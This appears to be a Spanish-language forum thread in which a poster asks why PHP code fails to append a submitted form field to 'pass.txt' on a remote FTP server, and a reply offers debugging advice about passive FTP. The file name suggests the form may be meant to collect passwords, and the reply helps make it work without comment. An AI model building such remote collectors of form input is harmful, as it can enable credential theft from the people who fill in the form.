Aver.. wenas..
yo sk toi haciendo un formulario ok? y mi intencion es k el formulario este en un primer arxivo con extension html ok? yk despues kuando le des al boton enviar se vaya a un arxivo html tmb con el sigiente codigo
<?
$fp = fopen("ftp://*****:*******@ftp.usuarios.lycos.es/pass.txt","a");
fwrite($fp,$_POST["$name"]);
fclose($fp);
?>
ok? aora el problema kuando lo ace no me escribe en el arxivo detallado xk?
$name es el nombre del del input, ya e comprobado eso xo no entiendo el xk no salen?? akaso tngo k ponerlos en arxivos php?? no ace falta si ya e declarado el tipo de lenguaje no?
Bueno el problema esta en esto
ftp://*******:********@ftp.usuarios.lycos.es/pass.txt
Puede ser que el server ftp no soporte modo pasivo por eso esto no funciona mira:
CitarSi filename comienza con "ftp://" (no es sensible a mayúsculas), se abre una conexión ftp hacia el servidor especificado y se devuelve un apuntador al fichero requerido. Si el servidor no soporta ftp en modo pasivo, esto fallará. Se pueden abrir fichero via ftp para leer o para escribir (pero no ambas cosas simultáneamente).
http://www.phpbuilder.com/manual2/manual/es/function.fopen.php (http://www.phpbuilder.com/manual2/manual/es/function.fopen.php)
Por cierto no estaria de mal confirmar la apertura del archivo con algo asi, por lo menos mientras lo depuras:
<?
$fp = fopen("archivo.txt","a");
if($fp==null) echo "Error al guardar datos";
else {
fwrite($fp,"hola");
fclose($fp);
echo "Datos guardados";
}
?>
Saludos.